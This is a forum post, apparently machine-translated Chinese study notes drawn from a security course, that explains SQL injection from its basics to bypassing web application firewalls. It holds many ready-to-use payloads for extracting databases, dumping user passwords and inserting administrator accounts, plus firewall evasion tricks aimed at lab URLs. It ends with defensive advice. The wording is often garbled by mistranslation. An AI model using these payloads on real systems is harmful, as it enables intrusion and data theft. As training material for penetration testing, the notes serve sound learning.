8_分泌测试SQL注入毛病深度条记

[复制链接]
发表于 4 小时前 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
SQL注入毛病深度条记(从原理到实战绕过)

目次


  • SQL注入根本概念
  • SQL注入分类体系
  • 手工注入通用流程
  • 各注入技能详解(由易到难)

    • 4.1 连合查询注入(UNION)
    • 4.2 报错注入
    • 4.3 布尔盲注
    • 4.4 时间盲注
    • 4.5 堆叠注入
    • 4.6 二次注入
    • 4.7 宽字节注入
    • 4.8 特别位置注入(Cookie、Base64、XFF)

  • SQL注入绕过技能(WAF绕过)

    • 5.1 语法层绕过
    • 5.2 编码层绕过
    • 5.3 函数/利用符替换绕过
    • 5.4 协议层绕过
    • 5.5 逻辑层绕过

  • 实战绕过案例——IIS安全
  • 防御发起与总结
1. SQL注入根本概念

1.1 毛病界说

Web步伐未对用户输入举行过滤,直接将参数拼接到SQL语句中实行,导致攻击者可实行恣意SQL下令。
1.2 产生条件(两个须要条件)


  • 参数用户可控:前端参数可由用户恣意修改。
  • 参数带入数据库查询:参数直接拼接到SQL语句并实行。
1.3 范例危害


  • 查询/导出敏感数据
  • 写入WebShell获取服务器权限
  • 绕过登录验证
  • 实行体系下令(需特定条件)
1.4 注入原理演示
  1. -- 正常查询
  2. select * from users where id = 1
  3. -- 注入测试
  4. id = 1'  → 报错(语法错误)
  5. id = 1 and 1=1  → 正常返回
  6. id = 1 and 1=2  → 无返回(或异常)
复制代码
若 and 1=1 与 and 1=2 返回页面差别,则大概率存在注入。
2. SQL注入分类体系

2.1 按哀求方式

范例参数位置特点GET注入URL查询字符串有长度限定,需URL编码POST注入哀求体无长度限定Cookie注入Cookie头常被开辟者忽略2.2 按数据提交范例(闭合方式)

范例示例SQL闭合方式整型id = 1无需引号闭合字符型username = 'admin'需闭合单引号搜索型title like '%关键词%'需处理惩罚百分号和引号2.3 按注入技能(由简到难)


  • 连合查询注入(UNION)
  • 报错注入
  • 布尔盲注
  • 时间盲注
  • 堆叠注入
  • 二次注入
  • 宽字节注入
  • 特别位置注入(Cookie/Base64/XFF)
3. 手工注入通用流程

以下步调实用于大多数MySQL注入场景(以字符型为例):

  • 判断注入点及范例
    输入 ' 报错 → 字符型;输入 and 1=1 / and 1=2 观察页面差别。
  • 推测字段数
    order by N(N从1递增),直到报错,字段数 = N-1。
  • 确定回显位置
    -1' union select 1,2,3,...,N --+,观察页面哪些数字被表现。
  • 获取数据库根本信息
    database(), version(), user(), @@datadir 等。
  • 获取全部表名
    利用 information_schema.tables。
  • 获取指定表的字段名
    利用 information_schema.columns。
  • 获取数据
    连合查询或逐行获取。
4. 各注入技能详解(由易到难)

4.1 连合查询注入(UNION)

原理
通过 UNION SELECT 将攻击者构造的查询效果附加到原查询效果上,要求前后两个查询的列数雷同。
核心 Payload
  1. -- 获取当前数据库
  2. -1' union select 1,database()--+
  3. -- 获取所有表名(group_concat合并)
  4. -1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
  5. -- 获取某表所有字段
  6. -1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+
  7. -- 获取用户表数据
  8. -1' union select 1,group_concat(user,0x3a,password) from users--+
复制代码
要点

  • 用 -1 使原查询无效果,便于表现第二查询。
  • 0x3a 是冒号 : 的十六进制,用于分隔字段。
  • 表名/字段名可用十六进制克制引号。
4.2 报错注入

原理
利用数据库报错信息将查询内容回显出来,实用于页面表现数据库错误信息。
常用函数

  • updatexml():最多回显32字符
  • extractvalue()
  • floor() + group by
  • polygon(), multipoint() 等多少函数(用于绕过)
Payload 示例
  1. -- 获取当前用户
  2. 1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
  3. -- 获取表名(使用floor,无长度限制)
  4. 1' and (select 1 from(select count(*),concat((select (select distinct concat(0x7e,table_name,0x7e) from information_schema.tables where table_schema=database() limit 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
复制代码
注意:updatexml 只能表现32字符,超长内容需用 substring 分段获取。
4.3 布尔盲注

实用场景
页面只返回“真”或“假”两种状态,无显错信息。
核心函数:length(), substr(), if()。
Payload 示例
  1. -- 判断数据库名长度是否为4
  2. 1' and if(length(database())=4,1,0)--+
  3. -- 判断数据库名第一个字符是否为'd'
  4. 1' and if(substr(database(),1,1)='d',1,0)--+
复制代码
服从提拔
用 BurpSuite 的 Intruder 爆破字符集(0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz@_)。
4.4 时间盲注

实用场景
页面无任何回显差别(无论真假返回雷同),通过延时判断。
核心函数:sleep(), if()。
Payload 示例
  1. -- 若数据库长度大于1,延时5秒
  2. 1' and if(length(database())>1,sleep(5),0)--+
复制代码
自动化
可用 sqlmap 指定 --technique=T 举行时间注入检测。
4.5 堆叠注入

原理
利用分号 ; 分隔多条SQL语句,可实行恣意SQL(增编削查、创建用户等)。
条件
数据库毗连函数支持多语句实行,如 mysqli_multi_query()。
Payload 示例
  1. -- 插入管理员账号
  2. 1'; insert into users(id,username,password) values(1000,'hacker','123456')--+
复制代码
注意:堆叠注入的效果大概只返回第一条查询的效果,但后续语句依然见效。
4.6 二次注入

原理
第一次插入数据时对特别字符转义(如 addslashes),但存入数据库的是原始数据;第二次从数据库取出时未过滤,直接拼接,导致注入。
范例场景
注册 → 修改暗码;留言 → 编辑文章;邮箱绑定 → 修改设置。
测试方法
注册两个用户 a' and 1=1# 和 a' and 1=2#,然后在修改暗码功能中观察是否一个乐成一个失败。
利用实例
注册 admin'#,修改暗码时即可修改 admin 的暗码。
4.7 宽字节注入

原理
当数据库编码为 GBK 时,%df%27 被转义为 %df%5c%27,而 %df%5c 是一个正当宽字节字符(運),导致反斜杠被“吃掉”,单引号逃逸。
条件条件

  • PHP 编码与 MySQL 编码差别等(如 PHP UTF-8,MySQL GBK)。
  • 字符集包罗低字节为 0x5C 的字符(GBK、Big5 有,UTF-8 无)。
Payload 示例
  1. -1%df%27 union select 1,version(),database()--+
复制代码
4.8 特别位置注入

4.8.1 Cookie注入

参数从 $_COOKIE 获取,未过滤。
  1. Cookie: uname=admin' union select 1,2,user()--+
复制代码
4.8.2 Base64编码注入

参数经 Base64 编码,服务端解码后拼接到 SQL。

  • 原始:admin' and 1=1--+
  • Base64:YWRtaW4nIGFuZCAxPTEtLQ==
4.8.3 XFF注入

服务端获取 X-Forwarded-For 或 HTTP_CLIENT_IP 头,未过滤。
  1. X-Forwarded-For: 127.0.0.1' and 1=1--+
复制代码
5. SQL注入绕过技能(WAF绕过)

以下绕过方法针对常见的WAF安全狗、云WAF、360WebScan等)拦截规则。
5.1 语法层绕过

绕过对象方法示例空格利用 %09, %0a, %0b, %0c, %0d, %a0 或解释 /**/union/**/select巨细写混淆巨细写UnIoN SeLeCt解释内联解释 /*!...*//*!union*/ /*!select*/换行换行分割关键字union--+\nselect双关键字插入多余关键字,过滤后拼接UNIunionON → UNION花括号在 select 后加 {x 1}union select{x 1},user()ALL/DISTINCT加在 union 后union all select, union distinct select5.2 编码层绕过

编码范例分析示例URL编码将字符转为 %xx%75%6e%69%6f%6e → union双重URL编码二次编码,服务器 urldecode 两次%2527 → %27 → 'Unicode编码%uXXXX 情势(IIS支持)%u0075%u006e%u0069%u006f%u006e十六进制表名/字段名用0x...TABLE_NAME=0x7573657273(users)5.3 函数/利用符替换绕过

原方式替换方式示例substr(string,1,1)substr(string from 1 for 1)绕过逗号过滤mid()同 substr绕过函数名过滤逗号 ,利用 join 或 limit offsetlimit 1 offset 0等号 =like, rlike, regexp, user() like 'r%'and / or&& / `5.4 协议层绕过


  • 分块传输(chunked)
    在 HTTP 头加 Transfer-Encoding: chunked,将 payload 分块发送,部分 WAF 不剖析 chunked 内容。
  • multipart/form-data
    将参数放在 Content-Disposition 中,WAF 大概忽略该部分。
  • charset 编码
    修改 Content-Type 的 charset 为 ibm037 等,将 payload 按该编码提交,WAF 不识但服务器可解。
5.5 逻辑层绕过


  • 参数污染(HPP)
    PHP 取末了一个参数,ASP 取全部参数拼接。例:id=1&id=-1 union select...
  • 白名单绕过
    WAF 不拦截特定路径如 /admin.php、/phpmyadmin。
  • 静态文件绕过
    添加 .jpg、.css 等后缀,如 ?name=vince.jpg&id=1 union...
  • Pipeline 绕过
    在同一个 TCP 毗连中发送多个哀求,WAF 大概只检测第一个。
6. 实战绕过案例——IIS安全

以下为绕过 IIS 安全狗(WAF)的实测 Payload,供参考。
6.1 整型布尔盲注(判断版本
  1. GET /vul/sqli/sqli_get.php?id=\Nor(substr(@@version+from+1+for+1)=5)--+&submit=1
复制代码

  • 利用 \N 替换数字,or 被 \Nor 绕过(反斜杠干扰)。
6.2 字符型布尔盲注(if + hex 比力)
  1. GET /vul/sqli/sqli_str.php?name=vince'and+0x31!=if((substr((select+password+from+`users`+limit+1)+from+2+for+1)='1'),0x30,0x31)--+
复制代码

  • 利用 if 返回 0x30 或 0x31,与 0x31 比力,根据页面精确/错误判断。
6.3 连合查询绕过(字符型)
  1. GET /vul/sqli/sqli_str.php?name=vince%27+union/*//--//*/select+1,(select+password+from+`users`+limit+1)--+
复制代码

  • 用 /*//--//*/ 作为解释,干扰 WAF 正则,同时反引号掩护表名。
6.4 POST整型连合注入
  1. POST /vul/sqli/sqli_id.php
  2. id=-1+union+select+1,(select+concat(username,password)+from+users+limit+1)&submit=1
复制代码

  • 简朴空格和解释未利用,但利用反引号表和列名绕过关键字检测。
7. 防御发起与总结

7.1 最佳实践


  • 利用预编译/参数化查询(如 PDO、MyBatis)—— 彻底杜绝注入。
  • 输入验证:严酷校验数据范例、长度、格式(白名单)。
  • 特别字符转义(仅作辅助,不如预编译可靠)。
  • 同一字符编码(UTF-8),克制宽字节标题。
  • 最小权限原则:数据库用户只授予须要权限(如仅 SELECT)。
  • 关闭错误回显(display_errors = Off)。
  • 摆设 WAF 并定期更新规则
7.2 总结

SQL注入毛病汗青久长但依然广泛存在,学习其原理、分类、手工利用本事及绕过方法是安全从业者的必修课。本文由浅入深,从根本到实战,覆盖了主流注入技能和 WAF 绕过思绪。全部技能仅限正当授权测试,严禁用于非法用途。
注意本条记是源于暗月安全培训 https://edu.moonsec.com 的ai整合版

免责声明:如果侵犯了您的权益,请联系站长及时删除侵权内容,谢谢合作!qidao123.com:ToB企服之家,中国第一个企服评测及软件市场,开放入驻,技术点评得现金.
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表